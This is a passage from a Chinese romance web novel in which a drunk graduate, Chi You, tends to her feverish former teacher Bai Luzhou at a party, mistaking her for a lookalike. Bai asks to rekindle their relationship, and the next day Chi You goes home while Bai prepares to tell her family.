调酒师转过身去拿了量酒杯和摇酒壶,后知后觉地又将量酒杯放下,转而去拿冰块和果汁,回过头来想问白鹭洲要喝什么口味的饮料时,眼睛再一次睁大,呆呆地看着白鹭洲的身后。 “池、池同学?” 白鹭洲有点晃神,疲惫的大脑神经突兀地跳了跳,提醒着她快清醒。 可她还没来得及回头看看,便感觉到小臂上一紧。 有灼热的五指猛地攥上了她的手腕。 第060章 老师是不会出现在这个只有学生会来的派对上的。 这是池柚在看见白鹭洲的背影后, 大脑里出现的第一个想法。 第二个想法是:反正这么像,不如就把她当作白鹭洲好了。道德不道德,正确不正确, 都是此刻已经被酒精蒙蔽了理智的池柚无法再去细想的问题。 她只知道,属于她的狂欢, 出现了。 或许世界上没有第二个人知道, 池柚压抑在心里的感情, 一点儿也不比白鹭洲压抑过的痛苦少。尤其是在那天暴雨的大巴站说完“再见”之后,每一天,她劝自己放下的每一天, 都活得像具走肉。 她曾意识到过,离开白鹭洲的她就是一具干涸的尸骨,白鹭洲就是她的福尔马林,抽离走白鹭洲, 她人生的最后一点生气与湿润也会蒸散去。时间没用, 新欢没用,什么都没用,什么都救不了她。 以前是,现在也是。 未来, 不知道。 她从不会去想未来的事, 尤其是被酒精麻痹了的眼下,更不会想、不愿意想。 或许未来她真的会走向别人吧。但今天, 她只想走回到白鹭洲的身边。 哪怕是假的白鹭洲。 池柚将手伸向那个人时, 心里疼了一下,错开了与她的皮肤接触, 还是只握住了那人盖着衬衫袖子的手腕。 滚烫的手指隔着一层衬衣布,灼烧上对方的皮肤。 “走, 走,跟我走。” 池柚口齿不清地和对方说。 白鹭洲回过了头,失神地望向池柚。 池柚朦朦胧胧地看着那人的脸,觉得自己真是喝多了,怎么会感觉这人不仅背影像白鹭洲,脸也这么像白鹭洲呢? ……不会的。 她甩甩脑袋,再一次告诉自己: 教师是不会来这个派对的。 白鹭洲张了张口,欲言又止。 她似乎有很多话想说,但不知从何说起。半晌,只回问池柚一句: “去哪里?” 池柚尝试拽了一下这个很像白鹭洲的人,对方没有抗拒,她一拉,人就从高脚凳上下来了,她再轻轻一拉,人就顺着她的动作走了两步。 不拒绝好啊。 不拒绝,说明对方也不反感她,她就放心了。 “我想,发泄一下,想,狂欢一下。” 池柚丢掉了脸皮,醉意模糊地笑,拽着对方的手腕一直不松。 “你愿不愿意帮帮我啊?” 愿不愿意帮帮我啊。 白鹭洲的目光不禁从池柚红通通的脸慢慢向下,一路滑到池柚正紧紧攥着她的手,再从交握点滑向自己手腕处被捏皱的衬衫袖口,和自己那只被池柚夸赞过无数遍的细长的手。 帮…… 要怎么帮? 已经三十一岁的白鹭洲,各方面都成熟的白鹭洲,经历过床头柜上的东西和一地卫生纸团的白鹭洲,不可避免地想到了许多不该想到的画面。 “可是……” 白鹭洲想说,可是她还有很多别的话,需要先说出来。 而且有些事不该这么快。 池柚打断了她,不想听到“可是”后面的内容: “你帮不帮吗?” 她最后的语气助词听起来像轻掠的“吗”,也有一点像近似于撒娇的“嘛”,带着恳求,和些许酒精淹没过后的沙哑与哽咽。听得白鹭洲心里软下来,一时间,所有的事都愿意往后放一放,只觉得不论池柚的要求是什么,起码,先口头答应吧,让这一秒的池柚得到短暂的安抚。 “……好。” 池柚笑了,拉着白鹭洲向大楼走去。 走的路上池柚还顺手拎了罐度数不小的啤酒,当场打开,一边喝一边摇摇晃晃地走。 白鹭洲看着走在前面的池柚,见她醉得走路都不稳的身形,忍不住轻声开口劝道:“少喝一点。” “你不管!”池柚有点凶地醉醺醺地吼。 白鹭洲:“……” 池柚吼完,用手背抹了一下湿漉漉的嘴唇,又马上小声地为自己的不礼貌道歉,“对不起哦。” 白鹭洲轻不可闻地叹了口气。 池柚拉着白鹭洲上楼,找到一件供客人休息的房间,拽着白鹭洲让她先进去,然后自己用身体把门关上,趴在门上,好阵子没动弹。 时间久得白鹭洲怀疑她是不是站着睡着了。 白鹭洲正想出声唤她一下,却听到了很轻的“咔哒”一声。 是落锁声。 池柚仍旧趴在门上,背对着白鹭洲,闷闷地说: “你去,床上,躺好。” 白鹭洲看了一眼身后雪白的大床,耳廓渐渐红了。 她眨了下眼,声音很轻: “我有话对你说。” 池柚:“你先躺下。什么话,躺下,再说。” 话落,池柚抬起手又灌了自己一大口啤酒,吞咽声在安静的房间里很明显。 白鹭洲沉默了一会儿。 犹豫过后,她还是走到了床边,撩开被子一角侧坐了上去。 她倚在床头的靠枕上,单臂环住胸口。坐下时气流从鼻腔中涌入顶了胸腔,让她控制不住地掩住口鼻,连续闷咳了几下。 咳嗽时,脖侧的一根纤细青筋一颤一颤地浮在苍白的皮肤上。 池柚撑着门站直了,将啤酒随手放在小桌上,踉跄着走过来。 白鹭洲看着一步步向她走近的池柚,眨眼的频率渐渐增高,握着胳膊的手也寸寸收紧。 她今天过来本就是临时起意,也不知道该说什么、做什么。但眼前已经开始有些变质的氛围告诉她,她大概能猜到将要做什么了。 放在平时,哪怕是明天,她情绪下去一些,她都不会允许这样的事如此提前地发生。 怎么可以这么快。 不可以。 但今天就是今天,去地下室是今天,看到积木是今天,喝醉的池柚在今天。所有爆发的感情都在今天。 然后有些理智的话,忽然就,很难说出口。 池柚走到了床边,看了白鹭洲片刻,似乎是不满意白鹭洲此刻的姿势,伸出手去,轻柔地捉住白鹭洲的两侧肩头,引着她完全躺下去。 白鹭洲感觉自己的鼻腔里有滚烫的气息,不知道是因为心跳失序,还是在这寒凉深夜里奔波许久,又开始低烧。 压着白鹭洲躺平在床上之后,池柚拽过被子,给她盖上。 腾地转身,走了。 白鹭洲又低咳了几声,咳得泛红的眼睛不禁追随着池柚,眼底生出疑惑。 这是…… 池柚并没有离开房间,而是去了卫生间。不多时,传来了哗哗的龙头水流声。 白鹭洲的大脑反应了一阵子,才懵懵地看向自己的手。 ……是她预料错了么? 池柚……那个青涩样子,会吗? 半晌,卫生间的门打开,池柚扶着墙走出来,墙面被她的手留下一道隐隐的湿痕。 她没有上床,直接走到了白鹭洲躺下的这一侧。应该是想要蹲下来,可是她醉得太厉害了,膝盖一软,“扑通”一声重重地跪在了地上。 白鹭洲忙坐起来,想要托池柚一把。 池柚摇摇头,没让白鹭洲扶,自己摇晃着跪坐起来,胳膊挞在床沿边,醉眼迷蒙地看着白鹭洲,说:“你躺好、躺好。” 白鹭洲担心地瞥了眼池柚刚刚摔到的膝盖,犹豫一瞬,扶着床缓缓躺了回去。 躺好后,白鹭洲才忽然发现,池柚的右手握着一块湿毛巾。 池柚支起上半身,举起了右手,小心翼翼地将湿毛巾放在白鹭洲的侧脸上,轻柔地擦下去。长长的睫毛垂着,泛着水光的眼睛里满是心疼和委屈。 “上次,在电影院看到你生病了,那时我就,很想,这样照顾你。” 池柚清浅地笑了笑,笑容里没有一点点杂质。 永远那么简单、纯粹的双眼。 “你看起来病得好严重喔。” 那眼里的简单、纯粹,让白鹭洲马上意识到,刚刚的一切,恐怕都是自己多想了。 让她躺下,不是为了解衣服。 卫生间的水流声,只是为了沾湿毛巾。 跪在她面前,是想委低姿态,方便将毛巾放在她的脸上。 “你把我带到这里,就是为了照顾我吗?” 白鹭洲望着正低头认真帮她擦脸的池柚,小声地问。 “嗯。” 池柚点点头,眼眶忽然红了。 “我想,照顾你,想对你好,想靠近你,你生病的时候,我好想关心你。可是……” 她眼底的光在晃。 “我已经没有资格了。” 白鹭洲感受着湿毛巾擦在脸侧舒适的凉意,鼻尖一酸。 她很清楚。 这资格,是她亲手从池柚那里剥夺走的。 池柚看见了有一滴泪从那人的眼角滑下,浸入了湿毛巾中。 果然……这不是白鹭洲。 白鹭洲怎么会哭呢。 白鹭洲想到了十几分钟前,池柚在吧台前攥着她的手腕,那样放肆又孤注一掷的神情,说着想发泄一下,狂欢一下。所有人在看到那样的表情与话语时,都一定会想得更暧昧疯狂许多,包括她自己。 可是池柚的越界、疯狂,心底那压抑已久需要喷薄而出的全部,竟然只是,想要有一个能照顾她的资格,而已。 池柚想要的越少,越单纯,就让白鹭洲的心口越疼。 这份感情太美好了,温柔,小心,纯粹。美好得叫人不敢相信,是她配拥有的。 白鹭洲颤抖着吐出一口气,看着池柚,问: “为什么想照顾我?” 池柚抿着嘴巴没说话。 白鹭洲:“你……喜欢我吗?” 池柚晃神了一会儿。 再开口的时候,声音小得趋近于自言自语。 “喜欢,当然喜欢,我喜欢你,喜欢你好久,好久,好久了。” 白鹭洲:“那现在,还喜欢我吗?” 对于这个现在进行时的问题,池柚迟疑了。 她并不是怀疑自己的感情,而是即便是面对假的白鹭洲,她也不敢将实话说出口。她怕,自己好不容易跨出第一阶段的脚步,又会因为这一句话而退回来。 那是万丈深渊。 不可以退回去的。 白鹭洲见池柚迟迟没有回答,不久前那种即将要弄丢一件珍贵礼物的恐惧再一次汹涌地袭来。 这样美好的人,美好的感情,详细地向她完整而充分地展露过后,却即将要被收走。 她要怎么样才能抓住? 白鹭洲忍着闷痛的胸口,眼睫抖动得失去了所有沉稳。 她艰难维持着最后一点自持的语气,换了个问法,再一次轻轻地开口: “……那你告诉我,那天你在餐厅和我说已经不喜欢我了,是骗我的,对不对?” 这一晚的池柚还不懂,有些相似的问题只要问出来第二遍,不论第一遍提问被怎样回答、不论新一遍的口吻如何收敛,其实都包含了一种不显山露水的隐秘态度。 ——恳求。 60-70 第061章 池柚喝得太醉了, 她听到这个问题,甚至都没有去想一想,一个陌生人怎么会知道什么餐不餐厅的事。 她只知道她不能开口做任何回应。 谎话不想说, 实话不敢说。 池柚低了低头,一言不发地继续用毛巾擦白鹭洲的脸。 良久, 她口中喃喃起别的话: “你病得好重, 我那天看见你在影院门口咳嗽了。门没关好, 那条缝隙很大,我全部都看见了。我都没心思看电影了,虽然电影本来也不好看。电影结束后, 本来想问问你还好不好,可是一想到已经道别过了,就……” 白鹭洲深呼吸,打断她: “我不好。” “那, 我现在好好照顾你。” 池柚皱起眉, 眼里波光粼粼地看着单薄苍白的白鹭洲。 “你快点好起来,明天就好起来。” 白鹭洲忍不住红着眼轻笑了一下,觉得心里又疼又暖的,拉扯得她快失去表情控制了。 “我再去洗洗毛巾, 然后, 找找药……” 池柚握起已经沾满了白鹭洲体温的湿毛巾,扶着床就要站起来。 白鹭洲盯着池柚, 看她一点一点起身, 又要离开了,目光紧紧的, 一瞬不瞬。 她的睫毛一颤,蓦地伸出手去。 冰凉五指严严实实地按在了池柚没有任何衣袖遮挡的手腕上。 时间仿佛在这一刻暂停。 这是—— 她们两个人, 这一辈子,第一次真真正正的,皮肤相接。 池柚小的时候,白鹭洲抱过她,隔着后背的一层绵实外套。摸过她的头,隔着浓密柔软的头发。池柚长大后,她用棉球帮她擦过伤口,隔着半指厚的棉花。若干分钟前池柚攥过她的手腕,隔着最薄的衬衫袖口。 在此之前,串联起她们身体温度的只有头发、布料、棉花,还有瓶身上细细的水痕,和帐篷窗口透进来的月光。 白鹭洲阖上眼,平静地感受这此生第一次与池柚的直接接触。 她的指尖缓缓摩挲,感受池柚细嫩的皮肤在触觉神经里铺开,还有大拇指下,那条藏在细腻皮肤里的脉搏,生机勃勃地汩汩跳动。 她的手背再次开始发痒。 比池柚用枯树枝在地上画画时、水痕串联起她们的手时都要痒,痒千百倍。 她知道这个举动意味着什么。 坚守许久的底线,她亲自打破。 池柚退后的那一步,她向前,填补上了。 半晌,白鹭洲又睁开眼睛,仔细地看池柚那只被她握在手里的纤细小臂。是曾经受过伤的那只,小臂上还有一些没有恢复完全的细碎疤痕,新长出来的肉,带着崭新的浅粉色。她的指尖稍用力一点抚过去,那里就泛起敏感的红润。 这样真实又柔软的一个人,就在她的手心里,因为她的任性强留,温顺地驻足停泊,不挣扎,不反抗。 乖得让人都不舍得再多任性两秒。 白鹭洲慢慢深吸一口气,抬眼,看向池柚的眼睛。 “能不能,再给我们的感情一个机会?” 她一字一顿,用了她能达到的最认真的态度。 听她这样说,池柚哭了。 池柚的哭不像白鹭洲,白鹭洲就算愿意让眼泪流下来,也是安静的,轻浅的,连呼吸都不会错乱得太厉害。池柚哭的时候,胸口不住地剧烈起伏,啜泣声从鼻腔里跌跌撞撞地往外溢,仿佛得了哮喘,整个人抖得不成样子。 白鹭洲甚至可以感觉到拇指下,池柚的脉搏狂乱跳动的频率。 池柚泣不成声地问:“这、这是我、可以选择的吗?” 白鹭洲:“对。” 池柚:“我不信。” 白鹭洲:“你可以相信。” 池柚:“我不信。” 白鹭洲:“你……” 池柚:“我不信。” 车轱辘话说下去不会有更多的意义,白鹭洲只感觉无力。她觉得后悔,她真正面对这份感情的时机实在是太迟了,池柚好像已经被消耗得不剩什么了。 她叹了口气,松开了池柚的手腕,闷声说了句: “对不起。” 沉默良久。 白鹭洲复又抬起头,说:“但我不想放弃。我好不容易遇到,我不想错过。” 她想,这是她这辈子说过的,最不像“白鹭洲”说的话了。 池柚的泪光映着灯光闪了闪。 “没关系。”不愿意也没关系。 白鹭洲很轻,又很坚定地告诉对方。 “这一次,可以换我等你。” 池柚抹了把眼泪,露出个很难看的笑。 白鹭洲问:“你笑什么?” 池柚:“我好像感觉,你的意思是,你会像以前考研考博,唱戏,拿第一那样,努力地,拼命地对我。” 白鹭洲不太喜欢这个说法,“池柚,你和那些都不一样。你不是一个东西或者一个难攀的山巅,你就是你。” 但白鹭洲也丝毫不怀疑自己会是努力的,拼命的。就像认真地对待以往每一件她在意的事一样。 池柚用袖子继续擦眼泪,“我这梦、这梦也做得太离谱了吧。” 白鹭洲:“这不是梦。” 池柚:“怎么可能,绝对是梦。” 白鹭洲:“……你喝太多了。” “谢谢老师,谢谢老师,谢谢老师。” 池柚一边掉眼泪,一边开始无厘头地疯狂向白鹭洲鞠躬,泪珠点子乱七八糟地往地上掉。 “……” 白鹭洲从床上起身,伸手托住了她的胳膊,试图制止她的奇怪动作。 “你……做什么?” “我要谢谢你,不,不,谢谢您。” 池柚被白鹭洲托住了,还要继续弯腰鞠躬。 “大晚上还打扰您来这里,谢谢,谢谢。”大半夜还打扰白鹭洲来她梦里替她圆梦,多亏喝了酒胆子大,敢这样做梦,清醒的时候她连想都不敢想。 白鹭洲扶着池柚,欲言又止。 “对了,您刚刚问我什么问题,您再问一遍。”池柚忽然说。 白鹭洲:“哪个问题?” 池柚:“最重要的那个。” “最重要……”白鹭洲抿了下嘴唇,“是我说的那句,‘能不能再给我们的感情一个机会’吗?” 池柚:“对,再问一遍好吗?” 于是白鹭洲依从地再次重复了一遍。 池柚一句也没回答,但她缠着白鹭洲,让白鹭洲问一遍又一遍。 “能不能再给我们的感情一个机会。” “再问。” “能不能再给我们的感情一个机会。” “再问,再问。” 白鹭洲不厌其烦地问,偶尔捂住嘴忍不住闷咳几声,然后继续问,问得喉咙愈来愈干疼。 但只要池柚要求,白鹭洲就应,不多问一句原因。 只是她说着那些话时,倚在床头,清冷的白光笼罩着她,让她的面庞看起来也蒙着层泠泠清寂。 她的声音里没有裹含太多情绪,一句情话在她嘴里,也像是平淡念出的一句书本台词。 其实今晚她说的每句话,不管内容多热烈,她的语气一直都很轻缓,淡然。 世间的感情好像确定心意以后就会有一个巨大的转折,冷漠的人变热情,矜持的人变大胆,所有一切都要冲破原有的束缚强烈地迸发出来。 可是白鹭洲发现,现实没有那么容易。 虽然有些话愿意说出口了,但一个人常用的神情和姿态已然成了习惯。有些东西不会像小说和电视剧里那样,创作者的笔锋一转,就脱胎换骨、柳暗花明。 现实就是江山易改本性难移。 现实就是,她的所有欲望还是被本能地克制住,所有即将溢出的妄念,仍旧被性格一块一块收敛起来。 所以,她坐在那里,说着那些话,总还是让人觉得,是一朵冰雕的花映出了冰后深红的灯光。那些剖白的绚丽,是光线折射的错觉,是一场混乱而暧昧的梦。 迷人而危险,矛盾又虚假。 可不论如何,池柚都很满意了。 她终于问累了,最后一个问题,问了另一句话: “可不可以、再摸一下我?” “摸?” 白鹭洲没反应过来。 池柚指了指自己的手腕,语序又被酒意扰乱了: “就是、就是刚刚那样,你的手,放在这里,摸一下……” 白鹭洲纠正:“那是握。” 池柚恬不知耻地伸出胳膊,“那就握。” 白鹭洲向床的另一边测了侧头:“你先躺下来吧。” 池柚:“为、为什么?” “因为你喝得太醉了,你一会儿要是睡倒在地上,我抱不动你。” 白鹭洲疲惫地举起拳头,咳了两声。 “我生了一个多月的病,现在……真的没什么力气了。” 池柚温顺地点点头,绕过床尾去。 白鹭洲提醒:“关灯。” 池柚便听话地去关了灯。 白鹭洲打开了床头灯,轻咳着目送池柚摸索回床边,看她轻手轻脚地爬上床,掀开另一床被子,钻进去,潮红的脸埋进松软的枕头。 果然那脑袋一挨枕头,眼睛就睁不住了,一扇一扇地打瞌睡。 困成那样,池柚还是没忘了正事,细细的一条胳膊跟打地道战似的,从自己的被子里窸窸窣窣地伸进白鹭洲的被子,停在白鹭洲的手边。 白鹭洲垂眸,依照诺言,微微抬起手,轻柔地覆上了池柚的手腕。 还是和刚刚一样,大拇指按在她手腕内侧的脉搏上,安抚般地缓缓摩挲。 指尖再次得以游走在池柚手臂上时,白鹭洲便明白了,期待第二次触碰的不只是池柚,更是她自己。 年轻女孩子温腻的皮肤,不用去除被子的遮挡,也能想象那牛奶包裹般的白皙。而那条脉搏里的生命力,足以牵动白鹭洲的心跳与之一同复苏。 好温暖,好柔软。 明明才牵上,却已让人舍不得放开。 白鹭洲静静地注视着台灯昏黄光线里,只在枕头上方露出了半个小脸的池柚。 某些恳求的态度,她已经展露过一次,但她此刻,莫名地,想再次展露了。 她慢慢收紧五指,稍作用力地裹住掌心里纤细的腕骨。 “那天,你是骗我的,是吗?” 那天在餐厅,说已经不喜欢她了,是骗她的对吗。 一定是骗她的。 如果真的不喜欢了,怎么会在醉酒后拉着自己,说要照顾自己,要自己一遍遍重复那个问题,末了,还贪恋自己指尖的这点温度。 池柚没说话,不知道是不是睡着了。 白鹭洲的唇边隐隐勾出苦笑,低下头,用几乎只有她自己能听到的气音,以上一个问句为桥,又喃喃了一遍那句今晚复读了无数次的话。 “如果还喜欢我的话,那……能不能再给我们的感情一次机会,就再给一次……” 她敏感地感觉到拇指下,池柚的脉搏跳乱了一瞬。 随后,身旁枕头里,闷闷地传来带了一点哽咽的声音: “嗯。” 白鹭洲的呼吸窒住,用了好一会儿去消化这一声肯定的回答。 她有些不可置信地追问: “真的?” 池柚:“嗯。” 白鹭洲:“你……答应了?” 池柚:“嗯。” 白鹭洲调整了一下呼吸,握着池柚的手指在轻微地觳觫。 “所以,你还是喜欢我。” 池柚:“嗯。” “最喜欢我,对不对?” “嗯。” “池柚。” “嗯?” “等清醒的时候,再回答我一次。记得,要回答一样的答案。” 白鹭洲抬手关掉了床头灯,同时松开了池柚的胳膊,将池柚身上的被子向上拉了拉,仔细掖严。 浓稠黑暗中,她又温柔地摸了摸池柚的额头。 “睡吧,晚安。” 第062章 池柚第二天醒来的时候, 脑袋疼得都快炸开了。 窗帘缝隙里的一缕阳光透进来,照在她的手背上,只有那一块暖得有些发痒。 她狠狠皱着眉, 先挠了挠手背,然后撑住脑门, 一时间都想不起来自己这是在什么地方。 零星的记忆缓慢地涌入脑海。 毕业典礼……狂欢派对…… 狂欢……白鹭洲…… 白鹭洲? 池柚猛地清醒了。 哪里有什么白鹭洲, 学生派对上怎么会有白鹭洲。那……那闪回的记忆片段里, 被她拽来拽去,按在床上非要给人家擦脸的是…… 池柚僵硬地扭过脖子。 在她身边较远的地方,真真实实地躺着一个女人, 背对着她,睡得正熟。 纤瘦的背影,散墨一样的黑色长发,隐约露出一点雪白簌冷的脖颈。 她沉睡的呼吸很轻, 单薄的身体几乎没有明显的起伏。只在空气里捎来一丝若有似无的苦茶清香。 怪不得她会把这人认成白鹭洲, 确实,也太像了吧。 像到池柚都有点怀疑了,这……不会就是…… 不不,不可能。 且不说白鹭洲根本就不会来这个派对, 就算来了, 真正的白鹭洲怎么会任由她拽来拽去,还愿意耐着性子看她撒酒疯。 池柚低头看了看自己的衣服, 衣服都还在, 她又看了看对方,对方的衣服也完整。 她开始仔细回忆昨晚都发生了什么。 她忍着头疼想了半天, 只能想起她将这人拉来了房间,然后她去涮了块毛巾, 给人家擦了半天的脸。 ……后来呢? 后来她好像是睡着了,做了个假得不行的梦,梦的细节她也记不清了。 虽然池柚喝多了,也记不太清一些事,但她很清楚,真正过界的事她绝对没有做过。还好,还好没有错得离谱。要不然以她的性格,真要发生了点什么,她绝对是那种可以放弃所有私人感情直接俯首甘愿给对方负责一生的人。 即便如* 此,她还是深感抱歉,耽误了陌生人一整晚的时间。 池柚轻轻地下床,没有吵醒那人。 然后她走到桌台边,找到一支圆珠笔和一张纸,认真写下一句: 【谢谢。】 她不想为了说一句感谢或者抱歉的话就吵醒对方。昨晚叨扰那么久,已经很对不起人家了,就不要再打扰这清晨的一觉好眠了。 池柚将纸条压在了矿泉水瓶下,走时还顺手叠了个被子。 她不动声色地拿起昨晚睡前脱在床尾的外套,安安静静地离开了这间房。 很多学生都在楼里过了夜,走廊里不时会出现几个宿醉刚醒的人,睡眼惺忪地往楼下走。也有通宵的,熬红了眼睛出来倒水喝。 楼里和楼外的院子都是一片狼藉,到处是零食袋、烟头、空啤酒瓶。两校的学生会组织者在院子里坐着,面前的桌上摆了很多牛奶和面包,分发给早起要回家的学生们,给大家垫垫肚子。 池柚没有拿面包,只取了一盒牛奶。 她知道牛奶不能解酒,蛋白质是无法与酒精结合的。不过喝一些,胃里总能舒服点。 她没有喝得像昨晚那么醉过,海岛上那次被舍友姐姐们灌酒也没有喝那么多,喝得她全身上下哪哪都难受,尤其是胃,快要烧穿了似的。 池柚站在楼下,喝着牛奶,感受到温暖的阳光照在皮肤上,身体本能地喟叹出声。 在这称得上舒服宜人的时刻,一瞬间,她忽然有点迷茫。 毕业了,结束了,该告别的人,好像都已经告别过了。 今天该干什么呢? 电话铃声恰是时候地响起,像一块好巧被风吹到她面前的指路标牌。 池柚接起来,礼貌地打招呼: “喂,妈妈。” 池秋婉:“小柚子,怎么一晚上都联系不到你人呢,让人好担心啊。” 池柚接着电话向外走,到路边准备打车回家,“我没事,一直在派对玩,没顾得上看手机。这边有休息的地方,我就睡了一晚,现在就马上回去。” 池秋婉:“好好好。哎,毕业典礼结束了,告别派对也参加完了,你现在也算是顺利毕业了,等毕业证下来,就可以直接出国咯。” 池柚悬在半空拦车的手僵住。 “……不用这么急吧?” “我是无所谓啊,我还巴不得你多在国内陪陪我。是你姥爷和姥姥,一直和我打电话,念叨着说想你,希望你早点过去。” 池秋婉好像在榨什么水果的汁,榨汁机的嗡嗡声都快盖过她的说话声了。 “还有,以曼快回来了,你们该见见面了是不是?” 池柚拦下了一辆车,拉开车门坐进去。 明明才睡醒,她已经有点疲惫了。 “那,她什么时候回来?” 池秋婉:“你问我?你直接问问她呀,看她的时间具体怎么安排。” 池柚:“好吧。” 池秋婉:“今天你回家吃完饭,我带你去驼蓝寺拜拜,求学业,求姻缘。” 池柚:“妈妈,我们是医学工作者,封建迷信真的……” 池秋婉:“图个好兆头而已,你这小孩子真是越来越啰嗦了。年纪轻轻,是网也不爱上,星座也不看,人家都讲究的玄学好运搁你眼里统统都是一句封建迷信,真是比我还老气横秋的。” 池柚抿着嘴唇笑了笑,“我先挂了,妈妈,一会儿见。” 挂断和池秋婉的电话后,池柚想了想,点开了柴以曼的对话框,输入。 【姐姐,你什么时候回云州?】 五秒后,对话框上方出现“对方正在输入”。 柴以曼这个优点倒是挺对池柚的心意。 柴以曼忙的时候会提前说自己要忙了,大概在什么时间段内不看手机。不忙的时候,一定会秒回。 或许不止是池柚喜欢这种行为,所有人都会喜欢。 柴以曼:【感觉这个时候应该回一句“是不是想我了呀”,但是又发现在还没有很亲密的情况下这样调侃,好像有点油哦,哈哈。】 池柚慢慢打字,想着要怎么回复。 柴以曼的下条消息更快地发了过来:【两周后吧,怎么了,是有什么事找我吗?】 池柚删掉已经输入的几个字,重新打:【没有,就是,之前你不是说等我毕业典礼后你回云州要见我吗,我答应过你的。】 柴以曼:【哦——这样啊。我还怕你是有什么别的麻烦需要我帮忙。】 池柚:【没。】 柴以曼:【有也没关系,我们现在起码是朋友,有需要随时找我。】 池柚:【好,谢谢姐姐。】 过了一会儿,柴以曼又发来消息。 【我这几天在捷克,现在正在布拉格广场散步,你想要什么礼物吗?我看这里的天文钟周边很漂亮,觉得你应该会喜欢。】 她附上一张照片,是现拍的布拉格天文钟冰箱贴。 【别有压力,小东西,不贵。】 池柚客气地婉拒。 【不用了,谢谢你。】 过了大概五分钟,柴以曼又发来一个视频。 视频里是她握着那只天文钟冰箱贴的展示,小小的中世纪哥特式木质天文钟,里面有极为精巧的机械木齿轮,拇指按住一侧齿轮转动,整个天文钟都会被连带着一起运作。 日月星盘在转,日历盘在转,顶部阁楼窗口里的门徒小人也在转。 柴以曼:【天文钟原建筑是根据地球中心说原理设计的,上面的钟一年绕一圈,下面的钟一天绕一圈。每天整点时刻,耶稣的十二门徒就会分别在阁楼窗口现身,代表死亡的骨骷髅拉响铃铛。】 柴以曼:【怎么样,喜欢吗?】 池柚的喜好被精准地掐到了。 不止是被掐到,这简直是踩在她的审美点上使劲碾压。 确实很心动。再不好意思,她犹豫半晌,也腆着脸回复道: 【那帮我带一个,谢谢了。】 柴以曼发了小猫哈哈笑的表情包。 【你已经和我说三遍谢谢了,真是有礼貌呢。已经买好了,等我回去给你,实物质感很好,你现在就可以开始期待了。】 池柚:【我会给姐姐回礼的。】 柴以曼:【是吗?】 池柚:【是。】 柴以曼:【那我也可以开始期待了。】 等结束这段对话,池柚也刚好到家了。 她锁屏手机,下车,走进小区。 路过可以通往地下室的楼洞口时,她刻意地回避开了目光,也刻意地按捺住心里别的想法。 上楼后,池秋婉已经做好了一桌子菜,还给池柚榨好了新鲜果汁。说猜到她昨晚喝酒了,果汁里加了蜂蜜,水果的维生素C和蜂蜜的果糖都可以促进酒精吸收和新陈代谢。 池柚吃了饭,喝了果汁,果然感觉舒服了许多。 午间池柚补了一觉。 等池柚休息好了,下午,池秋婉按照计划带着池柚去了驼蓝寺。 今天是休息日,寺庙里人很多。 古寺环境幽雅宁静,人虽不少,却也不嘈杂。绿树环绕,青砖朴素,走在这里人们不自觉地都将声音放低了许多。穿过人群,还可以隐约听到寺庙里的撞钟声与诵经声。 走近去,供奉的香火味道逐渐变浓,使人在浮世躁动的心缓缓归于平静。 池柚不信神佛,但她信氛围对人体神经细胞的影响。 她身处此处的虔诚不是信徒的虔诚,而是忠于受氛围影响的安宁的虔诚。 她们排队等待上香。 等拿到点燃的香火,跪在蒲团上,池秋婉闭上眼念念有词地祈祷着关于池柚未来的希冀。池柚安静地等池秋婉祈祷完,和妈妈一起将三炷香插到香炉里。 她们离开时,灰长衫的小沙弥捧着一盘涵盖平安、事业、财运、姻缘、灵智各种祝福的开光法物,询问她们是否需要购买。 池秋婉挺有兴趣,挑了几串漂亮的,还问池柚要不要。 池柚本来没什么兴趣,但想到不久前曾允诺过柴以曼要回礼,便挑了一个蕴含了平安意义的檀木手串。 第063章 白鹭洲醒来时已经是上午十点了。 她本以为自己会在池柚之前醒来, 毕竟她一滴酒也没沾,池柚又喝得这么醉。没想到起晚了的会是她。 她意识到这不太对劲,醒得实在太晚了, 而且这一觉比以往都要沉很多。睁眼看完手机时间后,她马上摸了一下自己的额头。 果然是又开始了低烧。 白鹭洲撑着晕沉的身体坐起来, 环视了一圈已经没人的房间。 半晌, 她轻轻唤了一声: “池柚。” 没人应答, 看来也没在卫生间,是真的已经走了。 白鹭洲猜到了。只要是池柚醒在前面,酒意一旦完全褪去, 池柚肯定会无法面对眼前的场景。昨晚胆子再大也是酒后,清醒时,池柚对她的尊敬和恭谨永远都会排在第一位。 所以肯定没胆子再留下来等她醒。 白鹭洲疲乏地从床上站起来,严谨地整理了很久睡得发皱的衬衫, 发现衣摆的褶痕怎么也抚不平后, 无奈作罢。 她简单收拾了一下东西,收好手机,也打算先离开。 走的时候,她无意间一瞥, 注意到了桌上被矿泉水瓶压着的字条。 她踱步过去, 拿开矿泉水瓶,拈起那张纸条看。 【谢谢。】 是池柚的笔迹没错, 只是…… 谢谢这两个字, 是想说什么? 谢谢她终于愿意敞开心扉,正视她们这段感情吗? 白鹭洲发现越是笼统简略的字眼, 解读方式越是可以有千千万万种。她要是加了池柚的微信或是有池柚的电话号码,这时可以亲自问一问对方。不过可惜, 昨晚事情太多,她没想起来这回事。 她也不准备现在立刻就去找池柚。 因为,再次见面,面对清醒的池柚,她们或许会说一些比昨晚更深刻的话题,她们的关系也有可能迎来一个转折。而在此之前,她需要去做另一件事。 她要先回家,和父亲、母亲、爷爷、奶奶,所有长辈告知,她准备要和一个小她9岁,还曾经是她学生的女孩子尝试接触了。 其实白鹭洲清楚,她和池柚未必能真的走到一起,关系没有尘埃落定之前,什么都有可能会变。 但如果,万一,她能跟池柚走到一起,不论这个可能性多大多小,她都必须要保证先排除掉所有路上会出现的荆棘。她不想未来某一天,交往了,情至深处了,才叫无法接受这段感情的家人们来插足干涉。 家人涉足必定会给池柚带来莫大的压力。白鹭洲对爱情和爱人这两者慎之又慎,她绝不愿意这样不负责任,自己上了头一意孤行地开始,然后将压力丢给两个人去承受。 如果可以,在还没开始的时候,她一个人先承受完就好。 她痴迷于安全感,习惯铺好一切后路之后再启程。 这样的安全感,她也想给予池柚。 白鹭洲走出门,楼里还有一些没离开的学生,有几个上过她课的,看见她诚惶诚恐地打招呼。也有问起她怎么会在这里的人,她含糊过去,没什么精力详细解释。 她先回了白柳斋,爷爷和奶奶都在,刚吃过午饭。 他们问她吃饭没有,要不要再做一些菜,她摇头说其他事要谈。 于是祖孙三人郑重地坐在石榴树下的石桌边,开启了一段长达一整天的对话。 想象之中的,爷爷长久地沉默,奶奶有些激动,质问了她很多东西。比如年龄,比如性别,比如身份。 